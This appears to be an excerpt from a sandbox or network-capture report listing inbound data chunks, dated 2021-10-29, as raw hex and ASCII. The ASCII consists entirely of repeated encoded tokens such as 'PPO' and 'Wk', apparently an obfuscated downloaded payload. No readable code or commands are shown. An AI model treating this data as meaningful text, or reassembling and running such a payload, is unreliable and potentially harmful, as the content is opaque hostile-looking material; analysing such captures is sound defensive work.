Psk PlP PkU PPz sO Oz Wk WW Bz PPO PPl PkU PPs Wk Oz Os OB zO PsB Pss PkU PPs WP OL s Ws zO Pkk PPl 
PkU PPs OB Oz Wk LU zB U PPU PkU PPs WO WP UL WP zW PPO PPW PkL 

2021-10-29 15:55:28 UTC 1290 IN Data Raw: 57 4f 20 7a 4f 20 50 50 4f 20 50 73 73 20 55 7a 20 50 50 73 20 57 57 20 42 4c 20 57 6b 20 57 4f 20 7a 57 20 
50 6b 57 20 42 55 20 50 50 50 20 50 50 73 20 4c 42 20 4f 7a 20 57 6b 20 57 4f 20 6c 73 20 50 50 4f 20 50 50 6c 20 50 73 
4f 20 50 50 4f 20 6c 4c 20 57 6b 20 57 6b 20 57 4f 20 7a 6b 20 50 50 4c 20 73 42 20 50 6b 73 20 50 50 4c 20 57 6b 20 57 
4f 20 57 42 20 73 4c 73 20 7a 50 20 7a 4f 20 55 55 20 50 6b 4c 20 50 6c 4f 20 57 6b 20 57 4f 20 73 4f 20 57 4f 20 7a 4f 20 
50 50 57 20 50 6b 50 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 55 50 20 50 73 57 20 50 50 6c 20 
50 6b 4f 20 50 73 6c 20 57 6b 20 4f 7a 20 57 50 20 4f 57 20 50 6b 6b 20 50 50 73 20 50 50 6c 20 50 73 4c 20 50 50 73 20 
57 6b 20 4f 7a 20 4f 42 20 57 4f 20 7a 4f 20 55 55 20 50 
Data Ascii: WO zO PPO Pss Uz PPs WW BL Wk WO zW PkW BU PPP PPs LB Oz Wk WO ls PPO PPl PsO PPO lL Wk 
Wk WO zk PPL sB Pks PPL Wk WO WB sLs zP zO UU PkL PlO Wk WO sO WO zO PPW PkP PkU PPs Wk Oz Wk WO 
UP PsW PPl PkO Psl Wk Oz WP OW Pkk PPs PPl PsL PPs Wk Oz OB WO zO UU P

Timestamp
kBytes
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2021-10-29 15:55:28 UTC 1291 IN Data Raw: 57 4f 20 42 42 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 6b 7a 20 57 6b 20 4f 7a 20 4c 57 20 57 73 20 4f 6c 20
50 50 73 20 50 50 6c 20 50 6b 55 20 50 50 42 20 4f 55 20 55 57 20 4c 7a 20 57 57 20 7a 4f 20 50 50 42 20 50 73 6c 20 50 
6c 55 20 50 50 6c 20 73 6b 20 4c 7a 20 57 42 20 73 4c 73 20 7a 4f 20 50 50 42 20 55 57 20 50 6b 55 20 50 50 73 20 57 
50 20 4c 73 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 73 6c 20 42 50 20 4f 7a 20 57 57 20 57 
6c 20 7a 4f 20 50 50 4f 20 50 50 42 20 50 50 7a 20 42 4f 20 4f 7a 20 4f 7a 20 4c 42 20 57 4f 20 7a 4f 20 50 50 4f 20 50 6b 
57 20 50 6b 55 20 50 50 73 20 4c 57 20 57 6b 20 6c 4c 20 57 73 20 7a 4f 20 50 50 4f 20 50 50 4c 20 50 50 6b 20 4c 50 20 
42 50 20 4f 55 20 57 6b 20 4f 7a 20 55 4f 20 50 6c 73 
Data Ascii: WO BB PPO PPl PkU Pkz Wk Oz LW Ws Ol PPs PPl PkU PPB OU UW Lz WW zO PPB Psl PlU PPl sk Lz WB 
sLs zO PPB UW PkU PPs WP Ls Wk WO zO PPO PPl PkU Psl BP Oz WW Wl zO PPO PPB PPz BO Oz Oz LB WO zO 
PPO PkW PkU PPs LW Wk lL Ws zO PPO PPL PPk LP BP OU Wk Oz UO Pls

2021-10-29 15:55:28 UTC 1292 IN Data Raw: 20 57 6b 20 57 6b 20 50 73 6b 20 6c 7a 20 50 50 55 20 73 73 20 50 50 4f 20 57 6b 20 4f 7a 20 57 4f 20 42 6c 
20 73 50 57 20 50 50 4f 20 50 50 6c 20 50 6b 7a 20 7a 57 20 4c 50 20 57 50 20 73 6b 20 73 55 20 7a 50 20 73 55 20 73 
4c 6c 20 50 6b 55 20 50 50 73 20 57 42 20 57 6b 20 6c 4c 20 57 73 20 7a 4f 20 50 50 4f 20 50 50 4c 20 73 4f 20 73 4f 4c 
20 57 6b 20 4f 7a 20 57 50 20 50 55 20 50 73 50 20 50 50 4c 20 7a 4c 20 6c 6b 20 50 50 6c 20 55 4c 20 50 42 55 20 57 6b 
20 57 4f 20 55 4f 20 50 50 73 20 50 4f 20 50 50 6b 20 50 50 73 20 57 6b 20 57 73 20 73 4c 20 73 6c 20 7a 42 20 7a 4f 20 
55 57 20 42 55 20 73 4c 4f 20 57 6b 20 4f 7a 20 57 42 20 73 7a 20 6c 7a 20 55 6b 20 42 73 20 50 6b 55 20 50 50 73 20 57 
73 20 73 42 20 57 6b 20 4f 57 20 50 6b 6b 20 50 50 55 20 50 
Data Ascii:  Wk Wk Psk lz PPU ss PPO Wk Oz WO Bl sPW PPO PPl Pkz zW LP WP sk sU zP sU sLl PkU PPs WB Wk lL 
Ws zO PPO PPL sO sOL Wk Oz WP PU PsP PPL zL lk PPl UL PBU Wk WO UO PPs PO PPk PPs Wk Ws sL sl zB zO 
UW BU sLO Wk Oz WB sz lz Uk Bs PkU PPs Ws sB Wk OW Pkk PPU P

2021-10-29 15:55:28 UTC 1294 IN Data Raw: 6b 20 4f 7a 20 50 73 6c 20 50 6b 42 20 50 50 57 20 73 20 42 4f 20 57 6b 20 4f 7a 20 57 73 20 73 6c 20 7a 73 
20 50 20 73 50 4c 20 50 6b 55 20 50 50 73 20 57 42 20 6c 4f 20 50 7a 20 73 73 73 20 7a 6c 20 50 50 4f 20 50 50 6c 20 42 
55 20 73 4c 55 20 57 6b 20 4f 7a 20 57 42 20 4f 7a 20 42 55 20 50 50 55 20 50 6b 4c 20 50 6b 6c 20 4c 50 20 50 50 42 20 
4f 7a 20 57 6b 20 4f 7a 20 50 73 6b 20 50 6c 4f 20 50 73 4f 20 4c 6b 20 50 7a 6b 20 57 6b 20 4f 7a 20 57 73 20 4c 55 20 
7a 73 20 55 6b 20 50 6c 55 20 50 6b 55 20 50 50 73 20 57 73 20 55 57 20 50 4f 6c 20 57 4f 20 7a 4f 20 50 73 6b 20 50 6b 
73 20 50 6b 73 20 55 50 20 73 55 20 4c 4f 20 57 6c 20 4c 6b 20 73 4f 42 20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 55 55 20 
42 73 20 73 6c 20 4f 73 20 4f 7a 20 57 55 20 42 42 20 50 
Data Ascii: k Oz Psl PkB PPW s BO Wk Oz Ws sl zs P sPL PkU PPs WB lO Pz sss zl PPO PPl BU sLU Wk Oz WB Oz BU 
PPU PkL Pkl LP PPB Oz Wk Oz Psk PlO PsO Lk Pzk Wk Oz Ws LU zs Uk PlU PkU PPs Ws UW POl WO zO Psk Pks Pks 
UP sU LO Wl Lk sOB PPO PPl PkL UU Bs sl Os Oz WU BB P

2021-10-29 15:55:28 UTC 1295 IN Data Raw: 6b 55 20 50 50 73 20 57 73 20 50 4f 42 20 73 4c 20 4f 73 20 42 4f 20 50 4f 6b 20 50 50 57 20 57 6b 20 50 50 
73 20 57 6b 20 57 4f 20 42 57 20 50 7a 4c 20 7a 4f 20 50 50 4f 20 50 50 57 20 73 6b 6c 20 7a 57 20 4f 6c 20 4c 42 20 73 
6b 4f 20 4f 7a 20 57 73 20 50 50 4f 20 50 50 6c 20 50 6b 6c 20 4c 20 50 6c 55 20 4f 7a 20 57 6b 20 4f 7a 20 73 4f 42 20 
7a 6c 20 50 6b 6c 20 50 73 50 20 50 4f 73 20 57 73 20 7a 50 20 57 6b 20 57 4f 20 7a 73 20 50 20 73 4f 4f 20 50 6b 55 20 
50 50 73 20 57 73 20 50 4f 42 20 73 4c 20 4f 50 20 55 4c 20 50 6b 73 20 50 4c 55 20 50 6b 6c 20 50 7a 20 57 6b 20 4f 7a 
20 57 73 20 42 55 20 73 50 4c 20 50 50 4f 20 50 50 6c 20 50 6b 6c 20 73 50 6b 20 73 4c 20 4f 6c 20 57 42 20 4c 4f 20 50 
6c 6b 20 50 50 42 20 73 73 20 50 6b 55 20 50 50 73 20 57 
Data Ascii: kU PPs Ws POB sL Os BO POk PPW Wk PPs Wk WO BW PzL zO PPO PPW skl zW Ol LB skO Oz Ws PPO 
PPl Pkl L PlU Oz Wk Oz sOB zl Pkl PsP POs Ws zP Wk WO zs P sOO PkU PPs Ws POB sL OP UL Pks PLU Pkl Pz Wk 
Oz Ws BU sPL PPO PPl Pkl sPk sL Ol WB LO Plk PPB ss PkU PPs W

2021-10-29 15:55:28 UTC 1296 IN Data Raw: 20 50 55 20 4c 55 20 73 50 7a 20 50 50 6c 20 50 6b 55 20 50 73 73 20 55 4c 20 6c 55 20 57 50 20 57 4f 20 7a 
73 20 7a 6c 20 42 20 50 55 42 20 50 50 73 20 57 6b 20 57 7a 20 55 4c 20 6c 6c 20 7a 57 20 50 50 4f 20 50 50 57 20 6c 
73 20 4c 20 50 57 4f 20 4f 7a 20 57 6b 20 42 6b 20 57 55 20 73 57 50 20 50 50 42 20 50 6b 55 20 50 50 7a 20 73 4c 20 42 
6c 20 4f 20 57 4f 20 7a 4f 20 50 73 6b 20 73 42 20 73 4c 7a 20 50 50 4c 20 57 6b 20 57 4f 20 73 4c 20 42 55 20 73 57 73 
20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 4c 50 20 50 7a 4c 20 4f 55 20 57 6b 20 4f 7a 20 50 50 4c 20 50 20 73 50 6b 20 50 
6b 55 20 50 50 73 20 57 42 20 55 57 20 42 57 20 57 57 20 7a 4f 20 50 50 42 20 7a 6b 20 4c 6b 20 73 50 42 20 57 6b 20 4f 
7a 20 57 42 20 7a 55 20 73 50 50 20 50 50 57 20 50 50 6c 20 
Data Ascii:  PU LU sPz PPl PkU Pss UL lU WP WO zs zl B PUB PPs Wk Wz UL ll zW PPO PPW ls L PWO Oz Wk Bk WU 
sWP PPB PkU PPz sL Bl O WO zO Psk sB sLz PPL Wk WO sL BU sWs PPO PPl PkL LP PzL OU Wk Oz PPL P sPk PkU 
PPs WB UW BW WW zO PPB zk Lk sPB Wk Oz WB zU sPP PPW PPl 

2021-10-29 15:55:28 UTC 1298 IN Data Raw: 20 6c 6b 20 50 73 4f 20 6c 57 20 50 50 6c 20 50 6b 55 20 50 73 73 20 57 42 20 57 4f 20 73 42 20 50 57 4f 20 
7a 4f 20 50 50 4f 20 50 73 6c 20 42 57 20 6c 6b 20 57 73 20 42 6c 20 7a 42 20 57 4f 20 7a 4f 20 50 73 6b 20 55 4c 20 50 
55 73 20 50 50 73 20 57 6b 20 57 7a 20 73 42 20 50 50 42 20 7a 4f 20 50 50 4f 20 50 73 6c 20 50 6b 73 20 55 7a 20 57 50 
20 4f 6c 20 73 6b 6c 20 4c 6b 20 73 4c 20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 7a 7a 20 50 57 42 20 4f 7a 20 57 6b 20 42 
6b 20 50 73 6b 20 55 55 20 50 50 57 20 42 55 20 73 73 4c 20 57 6b 20 4f 7a 20 57 42 20 4f 7a 20 50 73 4f 20 50 55 4f 20 
50 50 6c 20 50 6b 55 20 50 73 73 20 73 6b 20 4c 7a 20 42 73 20 73 4c 73 20 42 4f 20 50 6b 50 20 50 73 50 20 50 6c 55 
20 55 42 20 57 73 20 73 4f 20 50 4c 6b 20 57 4f 20 7a 4f 20 
Data Ascii:  lk PsO lW PPl PkU Pss WB WO sB PWO zO PPO Psl BW lk Ws Bl zB WO zO Psk UL PUs PPs Wk Wz sB 
PPB zO PPO Psl Pks Uz WP Ol skl Lk sL PPO PPl PkL zz PWB Oz Wk Bk Psk UU PPW BU ssL Wk Oz WB Oz PsO PUO 
PPl PkU Pss sk Lz Bs sLs BO PkP PsP PlU UB Ws sO PLk WO zO 

2021-10-29 15:55:28 UTC 1299 IN Data Raw: 50 20 42 42 20 55 55 20 4c 50 20 73 4c 73 20 57 7a 20 4f 7a 20 42 42 20 4c 4f 20 50 4c 73 20 50 73 42 20 50 
50 6c 20 50 6b 55 20 50 50 4f 20 73 42 20 50 4c 42 20 57 6b 20 57 4f 20 55 4f 20 50 6b 50 20 73 4f 7a 20 73 73 4f 20 50 
50 73 20 57 6b 20 4f 55 20 73 4c 20 4c 73 20 42 42 20 50 6b 73 20 55 4c 20 73 6b 55 20 50 50 73 20 57 6b 20 57 7a 20 
50 4f 4f 20 4c 6b 20 73 4c 4c 20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 7a 7a 20 50 4f 6b 20 4f 7a 20 57 6b 20 42 6b 20 73 
50 73 20 50 50 42 20 50 50 42 20 50 6b 55 20 50 50 42 20 6c 42 20 57 4f 20 57 50 20 57 4f 20 7a 6b 20 55 20 73 6b 73 20 
50 6b 55 20 50 50 73 20 57 42 20 6c 7a 20 57 73 20 57 57 20 7a 4f 20 50 50 7a 20 55 4c 20 50 55 50 20 50 50 73 20 57 
6b 20 57 4f 20 55 4c 20 73 4f 42 20 7a 4f 20 50 50 4f 20 50 73 
Data Ascii: P BB UU LP sLs Wz Oz BB LO PLs PsB PPl PkU PPO sB PLB Wk WO UO PkP sOz ssO PPs Wk OU sL Ls 
BB Pks UL skU PPs Wk Wz POO Lk sLL PPO PPl PkL zz POk Oz Wk Bk sPs PPB PPB PkU PPB lB WO WP WO zk U 
sks PkU PPs WB lz Ws WW zO PPz UL PUP PPs Wk WO UL sOB zO PPO Ps

2021-10-29 15:55:28 UTC 1300 IN Data Raw: 20 73 4f 20 50 7a 73 20 4f 7a 20 4c 6b 20 50 7a 4c 20 50 50 4f 20 50 50 6c 20 50 6b 6c 20 4c 50 20 50 4f 20 4f 
7a 20 57 6b 20 4f 7a 20 50 50 4c 20 50 6b 42 20 6c 6b 20 50 6b 50 20 50 50 4f 20 4f 55 20 57 73 20 73 42 20 50 6b 7a 20 
7a 4f 20 50 50 4f 20 50 50 57 20 50 50 42 20 42 6c 20 57 73 20 42 6c 20 50 57 4c 20 57 4f 20 7a 4f 20 50 73 6b 20 50 57 
20 6c 50 20 50 55 7a 20 4f 7a 20 73 4f 20 73 50 50 20 57 4f 20 7a 4f 20 50 50 42 20 7a 6b 20 42 4f 20 50 50 42 20 73 6b 
20 4c 42 20 73 57 20 57 50 20 50 73 4f 20 55 42 20 50 50 6c 20 50 6b 55 20 55 50 20 55 4c 20 6c 20 57 6b 20 57 4f 20 7a 
73 20 7a 6c 20 50 6b 55 20 55 4f 20 50 73 6b 20 4f 7a 20 57 50 20 57 4f 20 4c 6b 20 50 57 20 50 50 4f 20 50 50 6c 20 50 
6b 6c 20 50 6b 57 20 50 20 57 4f 20 42 57 20 50 57 6c 
Data Ascii:  sO Pzs Oz Lk PzL PPO PPl Pkl LP PO Oz Wk Oz PPL PkB lk PkP PPO OU Ws sB Pkz zO PPO PPW PPB Bl 
Ws Bl PWL WO zO Psk PW lP PUz Oz sO sPP WO zO PPB zk BO PPB sk LB sW WP PsO UB PPl PkU UP UL l Wk 
WO zs zl PkU UO Psk Oz WP WO Lk PW PPO PPl Pkl PkW P WO BW PWl
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2021-10-29 15:55:28 UTC 1302 IN Data Raw: 6b 20 50 73 4f 20 50 6b 55 20 50 50 73 20 57 73 20 55 57 20 50 50 20 57 4f 20 7a 4f 20 50 50 42 20 7a 6b 20 
50 50 6c 20 42 6c 20 57 7a 20 57 6b 20 4f 55 20 57 6b 20 50 73 4f 20 50 42 20 50 50 6c 20 50 6b 55 20 50 50 7a 20 4f 4c 
20 4c 20 57 73 20 42 55 20 73 57 57 20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 50 6b 20 73 4f 20 4f 7a 20 4c 4c 20 42 20 7a 
6b 20 50 50 4f 20 73 50 20 50 6b 55 20 50 50 73 20 57 6b 20 73 6b 20 57 6b 20 57 4f 20 42 55 20 50 50 4c 20 73 42 20 
57 7a 20 50 50 4c 20 57 6b 20 57 4f 20 4c 6b 20 55 6c 20 4c 55 20 73 4c 50 20 50 50 6c 20 50 6b 55 20 50 50 7a 20 57 
42 20 57 4f 20 4f 55 20 7a 55 20 4f 55 20 50 50 57 20 50 50 6c 20 50 6b 6c 20 4c 50 20 50 42 42 20 4f 7a 20 57 6b 20 4f 
7a 20 6c 42 20 73 57 57 20 55 4f 20 50 6b 55 20 50 50 73 20 4f 
Data Ascii: k PsO PkU PPs Ws UW PP WO zO PPB zk PPl Bl Wz Wk OU Wk PsO PB PPl PkU PPz OL L Ws BU sWW 
PPO PPl PkL Pk sO Oz LL B zk PPO sP PkU PPs Wk sk Wk WO BU PPL sB Wz PPL Wk WO Lk Ul LU sLP PPl PkU PPz 
WB WO OU zU OU PPW PPl Pkl LP PBB Oz Wk Oz lB sWW UO PkU PPs O

2021-10-29 15:55:28 UTC 1303 IN Data Raw: 6b 20 50 50 57 20 73 57 20 50 50 73 20 57 6b 20 57 4f 20 42 57 20 50 7a 4c 20 7a 4f 20 50 50 4f 20 50 50 57 
20 73 6b 6c 20 7a 57 20 4f 4c 20 4c 42 20 73 6b 4f 20 4f 7a 20 4c 4c 20 50 50 4f 20 50 50 6c 20 50 6b 6c 20 4c 20 50 6c 
55 20 4f 7a 20 57 6b 20 4f 7a 20 73 4f 42 20 7a 6c 20 50 50 50 20 50 73 50 20 50 4f 73 20 57 73 20 6c 6b 20 57 6b 20 57 
4f 20 7a 73 20 50 20 73 4f 4f 20 50 6b 55 20 50 50 73 20 57 73 20 50 4f 42 20 73 4c 20 4f 57 20 42 4f 20 50 4f 6b 20 50 50 
57 20 73 42 20 50 50 73 20 57 6b 20 57 4f 20 42 57 20 50 7a 4c 20 7a 4f 20 50 50 4f 20 50 50 57 20 73 6b 6c 20 7a 57 20 
4f 42 20 4c 42 20 73 6b 4f 20 4f 7a 20 4f 57 20 50 50 4f 20 50 50 6c 20 50 6b 6c 20 4c 20 50 6c 55 20 4f 7a 20 57 6b 20 4f 
7a 20 73 4f 42 20 7a 6c 20 50 6b 4f 20 50 73 50 20 
Data Ascii: k PPW sW PPs Wk WO BW PzL zO PPO PPW skl zW OL LB skO Oz LL PPO PPl Pkl L PlU Oz Wk Oz sOB zl 
PPP PsP POs Ws lk Wk WO zs P sOO PkU PPs Ws POB sL OW BO POk PPW sB PPs Wk WO BW PzL zO PPO PPW 
skl zW OB LB skO Oz OW PPO PPl Pkl L PlU Oz Wk Oz sOB zl PkO PsP 

2021-10-29 15:55:28 UTC 1304 IN Data Raw: 50 50 73 20 4f 57 20 4f 7a 20 57 6b 20 4c 55 20 7a 6b 20 50 20 73 4f 55 20 50 6b 7a 20 50 50 73 20 57 73 20 
73 50 20 42 57 20 50 4f 57 20 7a 4f 20 50 50 4f 20 50 73 6c 20 73 20 4c 50 20 57 50 20 4f 7a 20 57 73 20 50 55 20 4c 55 
20 50 6b 6c 20 50 50 6c 20 50 6b 55 20 50 73 73 20 55 4c 20 6c 50 20 57 50 20 57 4f 20 7a 73 20 7a 6c 20 42 20 55 50 
20 50 50 73 20 57 6b 20 57 7a 20 55 4c 20 6c 55 20 7a 57 20 50 50 4f 20 50 50 57 20 6c 73 20 4c 20 50 57 4f 20 4f 7a 20 
57 6b 20 42 6b 20 57 55 20 73 4f 55 20 50 50 42 20 50 6b 55 20 50 50 7a 20 73 4c 20 42 6c 20 50 57 4f 20 57 4f 20 7a 4f 
20 50 73 6b 20 73 42 20 50 7a 20 50 50 4c 20 57 6b 20 57 4f 20 73 4c 20 42 55 20 73 57 4c 20 50 50 4f 20 50 50 6c 20 50 
6b 4c 20 4c 50 20 6c 4c 20 4f 55 20 57 6b 20 4f 7a 20 50 50 
Data Ascii: PPs OW Oz Wk LU zk P sOU Pkz PPs Ws sP BW POW zO PPO Psl s LP WP Oz Ws PU LU Pkl PPl PkU Pss 
UL lP WP WO zs zl B UP PPs Wk Wz UL lU zW PPO PPW ls L PWO Oz Wk Bk WU sOU PPB PkU PPz sL Bl PWO WO 
zO Psk sB Pz PPL Wk WO sL BU sWL PPO PPl PkL LP lL OU Wk Oz PP

2021-10-29 15:55:28 UTC 1306 IN Data Raw: 7a 20 57 6b 20 73 73 20 7a 4f 20 50 50 4f 20 50 6b 6b 20 50 50 4f 20 50 6b 7a 20 73 42 20 55 7a 20 57 6b 20 
57 4f 20 55 4f 20 6b 20 50 57 20 50 6b 50 20 50 50 73 20 42 42 20 73 4f 20 50 50 20 57 4f 20 7a 4f 20 50 73 6b 20 50 73 
6c 20 50 6b 6c 20 7a 7a 20 50 57 7a 20 4f 7a 20 57 6b 20 42 6b 20 50 73 6b 20 42 7a 20 50 50 57 20 4c 6b 20 73 6b 20 
57 6b 20 4f 7a 20 57 42 20 4c 6b 20 73 4f 55 20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 7a 7a 20 50 50 73 20 4f 7a 20 57 6b 
20 42 6b 20 55 57 20 55 42 20 50 50 42 20 50 50 4f 20 50 4f 50 20 73 42 20 50 50 57 20 57 6b 20 57 4f 20 55 4f 20 55 6b 
20 73 50 55 20 50 6b 55 20 50 50 73 20 57 42 20 73 7a 20 4c 57 20 4f 7a 20 50 73 4f 20 73 73 50 20 50 50 6c 20 50 6b 55 
20 50 73 73 20 57 73 20 73 4f 20 50 4c 6b 20 57 4f 20 7a 4f 
Data Ascii: z Wk ss zO PPO Pkk PPO Pkz sB Uz Wk WO UO k PW PkP PPs BB sO PP WO zO Psk Psl Pkl zz PWz Oz 
Wk Bk Psk Bz PPW Lk sk Wk Oz WB Lk sOU PPO PPl PkL zz PPs Oz Wk Bk UW UB PPB PPO POP sB PPW Wk WO 
UO Uk sPU PkU PPs WB sz LW Oz PsO ssP PPl PkU Pss Ws sO PLk WO zO

2021-10-29 15:55:28 UTC 1307 IN Data Raw: 20 6c 42 20 57 7a 20 57 50 20 57 4f 20 7a 6b 20 50 73 20 50 73 4f 20 50 6b 7a 20 50 50 73 20 57 4f 20 73 55 
20 73 20 4c 73 20 4c 7a 20 73 4c 4f 20 50 73 57 20 50 6b 55 20 6b 20 4c 7a 20 73 73 4f 20 42 4c 20 57 4f 20 7a 4f 20 50 
50 73 20 55 4c 20 73 50 4c 20 50 50 73 20 57 6b 20 57 7a 20 4c 6c 20 50 7a 6c 20 73 50 6c 20 50 50 4f 20 50 50 6c 20 50
6b 7a 20 7a 57 20 4c 42 20 4c 7a 20 4c 7a 20 4c 6b 20 73 4c 73 20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 73 50 6b 20 73 42
20 50 4f 50 20 57 6b 20 57 4f 20 55 4f 20 55 6b 20 73 6b 4c 20 50 6b 55 20 50 50 73 20 57 42 20 50 6c 42 20 57 55 20 57 
57 20 7a 4f 20 50 50 7a 20 50 50 20 50 6b 6b 20 50 50 4c 20 57 6b 20 57 73 20 6c 4c 20 50 4c 6c 20 7a 4f 20 50 50 4f 20 
50 73 6c 20 50 55 20 50 73 50 20 57 50 20 4f 7a 20 57 4f 
Data Ascii:  lB Wz WP WO zk Ps PsO Pkz PPs WO sU s Ls Lz sLO PsW PkU k Lz ssO BL WO zO PPs UL sPL PPs Wk 
Wz Ll Pzl sPl PPO PPl Pkz zW LB Lz Lz Lk sLs PPO PPl PkL sPk sB POP Wk WO UO Uk skL PkU PPs WB PlB WU WW 
zO PPz PP Pkk PPL Wk Ws lL PLl zO PPO Psl PU PsP WP Oz WO

2021-10-29 15:55:28 UTC 1308 IN Data Raw: 20 57 6b 20 50 73 4f 20 73 6b 42 20 50 50 42 20 50 6b 55 20 50 50 7a 20 73 42 20 73 6b 55 20 57 6b 20 57 4f 
20 7a 73 20 7a 6c 20 7a 7a 20 50 6b 57 20 7a 42 20 4c 7a 20 73 6c 20 57 57 20 4c 6b 20 6c 6b 20 50 50 4f 20 50 50 6c 
20 6c 6b 20 4c 50 20 55 57 20 4f 55 20 57 6b 20 4f 7a 20 50 73 42 20 57 73 20 50 50 4c 20 42 55 20 73 6b 4f 20 57 50 20 
4f 7a 20 57 73 20 4c 6b 20 50 7a 6b 20 50 50 4f 20 50 50 6c 20 50 6b 6c 20 4c 50 20 42 57 20 4f 55 20 57 6b 20 4f 7a 20 
50 73 42 20 57 73 20 50 50 4c 20 42 55 20 73 6b 4f 20 57 50 20 4f 7a 20 57 73 20 4c 6b 20 50 6c 42 20 50 50 4f 20 50 50 
6c 20 50 6b 6c 20 4c 50 20 55 4c 20 4f 55 20 57 6b 20 4f 7a 20 50 73 42 20 4c 73 20 50 50 7a 20 73 20 4f 50 20 57 50 20 
4f 7a 20 57 73 20 73 42 20 55 57 20 50 50 7a 20 55 4c 20 50 
Data Ascii:  Wk PsO skB PPB PkU PPz sB skU Wk WO zs zl zz PkW zB Lz sl WW Lk lk PPO PPl lk LP UW OU Wk Oz 
PsB Ws PPL BU skO WP Oz Ws Lk Pzk PPO PPl Pkl LP BW OU Wk Oz PsB Ws PPL BU skO WP Oz Ws Lk PlB PPO 
PPl Pkl LP UL OU Wk Oz PsB Ls PPz s OP WP Oz Ws sB UW PPz UL P

2021-10-29 15:55:28 UTC 1312 IN Data Raw: 4c 20 57 55 20 57 6b 20 57 4f 20 55 4f 20 50 6c 4f 20 50 6c 50 20 50 50 6b 20 7a 42 20 73 4c 42 20 4f 7a 20 
57 7a 20 4c 4c 20 50 73 20 50 73 42 20 50 73 57 20 50 6b 42 20 73 57 4f 20 55 50 20 50 57 20 73 6b 20 73 6b 50 20 50 
6c 50 20 50 4f 50 20 50 6c 50 20 50 50 6b 20 7a 42 20 73 4c 42 20 4f 7a 20 57 73 20 73 7a 20 7a 57 20 57 6b 20 50 50 6c 
20 50 6b 55 20 50 50 73 20 57 6b 20 7a 50 20 57 6b 20 50 50 73 20 73 4f 4c 20 50 50 4f 20 50 50 7a 20 55 7a 20 50 50 
73 20 57 6b 20 4f 55 20 57 6b 20 57 4f 20 50 73 73 20 50 50 4f 20 73 4f 55 20 73 50 57 20 50 50 73 20 4f 55 20 57 7a 20 
57 6b 20 57 4f 20 7a 57 20 50 50 73 20 50 50 6c 20 6c 6c 20 50 50 73 20 50 57 4c 20 73 57 50 20 57 6b 20 57 7a 20 7a 4f 
20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4c 
Data Ascii: L WU Wk WO UO PlO PlP PPk zB sLB Oz Wz LL Ps PsB PsW PkB sWO UP PW sk skP PlP POP PlP PPk zB 
sLB Oz Ws sz zW Wk PPl PkU PPs Wk zP Wk PPs sOL PPO PPz Uz PPs Wk OU Wk WO Pss PPO sOU sPW PPs OU 
Wz Wk WO zW PPs PPl ll PPs PWL sWP Wk Wz zO PPO PPl PkU PPs Wk L

2021-10-29 15:55:28 UTC 1317 IN Data Raw: 50 6b 20 7a 4f 20 50 50 4f 20 50 50 42 20 6c 73 20 50 6b 73 20 4f 73 20 50 7a 55 20 50 6b 4f 20 57 4f 20 7a 4f 
20 50 50 57 20 7a 6b 20 50 73 4c 20 50 50 50 20 7a 20 50 6c 4c 20 73 4c 20 4c 4c 20 6c 57 20 4f 42 20 73 4c 73 20 4c 6b 
20 6c 73 20 57 6b 20 4f 7a 20 57 42 20 50 4f 7a 20 42 6c 20 73 55 20 57 55 20 50 6b 55 20 50 50 73 20 57 42 20 4c 57 20 
4c 73 20 4f 7a 20 42 55 20 55 55 20 73 42 20 6c 4c 20 50 50 73 20 57 6b 20 57 7a 20 42 57 20 50 6c 6b 20 7a 57 20 50 
50 4f 20 50 50 57 20 6c 73 20 55 6c 20 4c 73 20 73 7a 20 57 4c 20 4c 55 20 6c 6b 20 73 57 73 20 73 7a 20 50 73 73 20 42 
4f 20 57 4c 20 6c 7a 20 4f 4f 20 57 4f 20 7a 4f 20 50 73 6b 20 55 4f 20 50 6b 57 20 55 6c 20 4c 73 20 4c 55 20 50 42 7a 20
7a 55 20 73 4f 6b 20 50 50 57 20 50 50 6c 20 50 6b 6c 
Data Ascii: Pk zO PPO PPB ls Pks Os PzU PkO WO zO PPW zk PsL PPP z PlL sL LL lW OB sLs Lk ls Wk Oz WB POz Bl 
sU WU PkU PPs WB LW Ls Oz BU UU sB lL PPs Wk Wz BW Plk zW PPO PPW ls Ul Ls sz WL LU lk sWs sz Pss BO WL 
lz OO WO zO Psk UO PkW Ul Ls LU PBz zU sOk PPW PPl Pkl

Timestamp
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2021-10-29 15:55:28 UTC 1321 IN Data Raw: 20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 55 7a 20 4f 7a 20 73 4f 20 6c 20 57 4f 20 7a 4f 20 50 73 6b 20 6c 55 20 
57 7a 20 50 4f 4c 20 73 6b 57 20 73 6b 6c 20 73 4c 42 20 57 42 20 6c 6b 20 50 50 73 20 50 4c 55 20 50 73 4c 20 50 73 
6b 20 57 6b 20 4f 7a 20 4f 50 20 7a 55 20 55 57 20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 50 6c 73 20 73 4c 42 20 57 50 20 
73 6b 20 73 4c 73 20 7a 4f 20 50 6c 73 20 50 50 7a 20 6c 57 20 50 6c 4f 20 57 6b 20 57 4f 20 73 4f 20 57 4f 20 7a 4f 20 50
50 4f 20 57 73 20 4c 4c 20 50 50 73 20 57 6b 20 57 6b 20 57 6b 20 57 4f 20 7a 4f 20 50 57 4c 20 50 50 6c 20 50 6b 55 20 
50 50 73 20 50 4c 6b 20 4f 7a 20 57 6b 20 57 4f 20 73 6b 6c 20 50 50 57 20 50 50 6c 20 50 6b 55 20 50 73 42 20 57 6b 20 
4f 7a 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 
Data Ascii:  PPO PPl PkL Uz Oz sO l WO zO Psk lU Wz POL skW skl sLB WB lk PPs PLU PsL Psk Wk Oz OP zU UW 
PPO PPl PkL Pls sLB WP sk sLs zO Pls PPz lW PlO Wk WO sO WO zO PPO Ws LL PPs Wk Wk Wk WO zO PWL PPl 
